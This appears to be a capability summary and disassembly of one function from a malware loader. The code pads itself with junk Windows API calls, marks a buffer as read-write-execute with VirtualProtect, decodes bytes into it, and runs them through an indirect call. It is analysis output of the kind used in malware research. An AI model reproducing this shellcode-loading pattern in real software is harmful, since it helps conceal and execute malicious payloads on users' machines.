Function at 0x401409
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Query environment variable
Terminate process

Disassembly:
mov eax, 0x410d80
call fcn.00410d60
mov eax, 0x2578
call fcn.00409c80
mov ecx, dword [0xb07614]
push ebx
push esi
xor esi, esi
push edi
cmp ecx, 0x93
jne 0x40150f
push 0x30
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x70], esi
push esi
push eax
call fcn.00405360
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x70]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push esi
push esi
push str.ganowowayiyoyosifewowit_zizedewebibatev
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawCaption]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x1184]
push eax
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push esi
lea eax, [ebp - 0xd84]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push esi
lea eax, [ebp - 0x584]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], str.bad_allocation
push eax
lea ecx, [ebp - 0x34]
call fcn.0040297d
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], vtable.std::bad_alloc.0
call fcn.004029bb
push esi
push esi
call fcn.0040285c
push esi
push esi
call fcn.004039d7
push esi
call fcn.0040399b
movss xmm0, dword [0x41847c]
add esp, 0x14
cvtps2pd xmm0, xmm0
push esi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.004031fd
add esp, 0xc
fstp st(0)
push esi
call fcn.004045c2
mov eax, dword [0x41f270]
add ecx, 0x1134b
push ecx
push esi
mov dword [0xb07718], eax
mov dword [0xb07614], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x24]
mov dword [0xb0756c], eax
push ecx
push 0x40
push dword [0xb07614]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0xd84]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x40154a
mov ecx, dword [0xb07614]
mov edi, esi
test ecx, ecx
je 0x4015df
mov eax, dword [0xb07718]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0xb0756c]
mov byte [eax + edi], cl
mov ecx, dword [0xb07614]
cmp ecx, 0x490
jne 0x4015da
lea eax, [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
lea eax, [ebp - 0x584]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
lea eax, [ebp - 0x1184]
push eax
push str.bovebosaxisujigubenupuwefakig
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0xb07614]
inc edi
cmp edi, ecx
jb 0x401567
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x40167c
push str.xaveleyi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
lea eax, [ebp - 0x584]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoW]
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push esi
lea eax, [ebp - 0xd84]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
push esi
lea eax, [ebp - 0x1584]
push eax
push str.Pepa_tunolijuraxer_niganut
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
lea eax, [ebp - 0x1d84]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x2584]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0xb07614]
inc edi
cmp edi, 0x38681
jl 0x4015e1
mov ebx, dword [0xb0756c]
mov edi, ecx
shr edi, 3
test edi, edi
je 0x4016c6
cmp ecx, 0x959
jne 0x4016b1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, ebx
call fcn.0040129f
add ebx, 8
dec edi
je 0x4016c6
mov ecx, dword [0xb07614]
jmp 0x401698
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4016e6
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0xb0756c], eax
inc edi
cmp edi, 0x674db
jl 0x4016c8
mov eax, esi
cmp dword [0xb07614], 0x86
je 0x401725
inc eax
cmp eax, 0x7b
jl 0x4016f1
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0xb0756c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push esi
lea eax, [ebp - 0x28]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]